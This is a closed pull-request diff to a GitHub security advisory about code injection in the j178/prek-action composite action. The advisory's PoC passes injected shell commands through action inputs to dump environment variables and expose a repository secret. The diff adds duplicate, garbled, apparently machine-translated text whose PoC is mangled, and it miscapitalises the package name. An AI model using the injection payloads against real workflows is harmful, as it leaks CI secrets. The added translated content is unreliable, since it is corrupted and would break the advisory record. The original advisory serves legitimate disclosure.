Skip to content
Closed
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -1,11 +1,11 @@
{
"schema_version": "1.4.0",
"id": "GHSA-pwf7-47c3-mfhx",
"modified": "2025-09-29T17:51:19Z",
"modified": "2025-09-29T17:51:20Z",
"published": "2025-09-29T17:51:19Z",
"aliases": [],
"summary": "j178/prek-action vulnerable to arbitrary code injection in composite action",
"details": "### Summary\nThere are three potential attacks of arbitrary code injection vulnerability in the composite action at _action.yml_.\n\n### Details\nThe GitHub Action variables `inputs.prek-version`, `inputs.extra_args`, and `inputs.extra-args` can be used to execute arbitrary code in the context of the action.\n\n### PoC\n```yaml\n- uses: j178/prek-action@v1.0.5\n with:\n prek-version: $(printenv >> $GITHUB_STEP_SUMMARY && echo \"0.2.2\")\n extra_args: '&& echo \"MY_SECRET with a character is: ${MY_SECRET:0:1}a${MY_SECRET:1}\" >> $GITHUB_STEP_SUMMARY && echo \"\"'\n env:\n MY_SECRET: ${{ secrets.MY_SECRET }}\n```\n\nThe previous example will print all the environment variables, and it will expose `MY_SECRET` environment variable value to the summary of the workflow. An attacker could potentially use this vector to compromise the security of the target repository, even passing unnotice because the action will run normally.\n\n### Impact\nCritical, CWE-94",
"summary": "J178 / Prek-action ุนุฑุถุฉ ู„ุญู‚ู† ุงู„ุชุนู„ูŠู…ุงุช ุงู„ุจุฑู…ุฌูŠุฉ ุงู„ุชุนุณููŠุฉ ููŠ ุงู„ุนู…ู„ ุงู„ู…ุฑูƒุจ.",
"details": "### ู…ู„ุฎุต\nู‡ู†ุงูƒ ุซู„ุงุซ ู‡ุฌู…ุงุช ู…ุญุชู…ู„ุฉ ู„ุถุนู ุญู‚ู† ุงู„ุชุนู„ูŠู…ุงุช ุงู„ุจุฑู…ุฌูŠุฉ ุงู„ุชุนุณููŠุฉ ููŠ ุงู„ุนู…ู„ ุงู„ู…ุฑูƒุจ ุนู„ู‰ _action.yml_. ### ุงู„ุชูุงุตูŠู„\nูŠู…ูƒู† ุงุณุชุฎุฏุงู… ู…ุชุบูŠุฑุงุช GitHub Action \"inputs.prek-version\" ูˆ \"inputs.extra_args\" ูˆ \"inputs.extra-args\" ู„ุชู†ููŠุฐ ุงู„ุชุนู„ูŠู…ุงุช ุงู„ุจุฑู…ุฌูŠุฉ ุงู„ุชุนุณููŠุฉ ููŠ ุณูŠุงู‚ ุงู„ุฅุฌุฑุงุก. ### PoC\n\"ูŠุงู…ู„.\n- ูŠุณุชุฎุฏู…: j178/prek-action@v1.0.5\nู…ุน:\nู†ุณุฎุฉ ู…ุง ู‚ุจู„ ุงู„ุฅู†ุทู„ุงู‚: $ (printenv >> $GITHUB_STEP_SUMMARY & & Echo \"0.2.2\") extra_args: '& echo \"MY_SECRET ู…ุน ุญุฑู: ${MY_SECRET:0:1}a${MY_SECRET:1}\" >> $GITHUB_STEP_SUMMARY & Echo \"\" ENV:\nMY_SECRET: ${{ ุฃุณุฑุงุฑ. My_Secret }}\n\"'\n\nุณูŠู‚ูˆู… ุงู„ู…ุซุงู„ ุงู„ุณุงุจู‚ ุจุทุจุงุนุฉ ุฌู…ูŠุน ู…ุชุบูŠุฑุงุช ุงู„ุจูŠุฆุฉุŒ ูˆุณูŠุนุฑุถ ู‚ูŠู…ุฉ ู…ุชุบูŠุฑ ุงู„ุจูŠุฆุฉ \"MY_SECRET\" ู„ู…ู„ุฎุต ุณูŠุฑ ุงู„ุนู…ู„. ูŠู…ูƒู† ู„ู„ู…ู‡ุงุฌู… ุงุณุชุฎุฏุงู… ู‡ุฐุง ุงู„ู…ุชุฌู‡ ู„ู„ู…ุณุงุณ ุจุฃู…ู† ู…ุณุชูˆุฏุน ุงู„ู‡ุฏูุŒ ุญุชู‰ ุฃู†ู‡ ูŠู…ุฑ ุฏูˆู† ุฅุดุนุงุฑ ู„ุฃู† ุงู„ุฅุฌุฑุงุก ุณูŠุนู…ู„ ุจุดูƒู„ ุทุจูŠุนูŠ. ### ุชุฃุซูŠุฑ\nุญุฑุฌุŒ CWE-94 ",
"severity": [
{
"type": "CVSS_V3",
Expand All @@ -16,7 +16,7 @@
{
"package": {
"ecosystem": "GitHub Actions",
"name": "j178/prek-action"
"name": "J178/Prek-action"
},
"ranges": [
{
Expand Down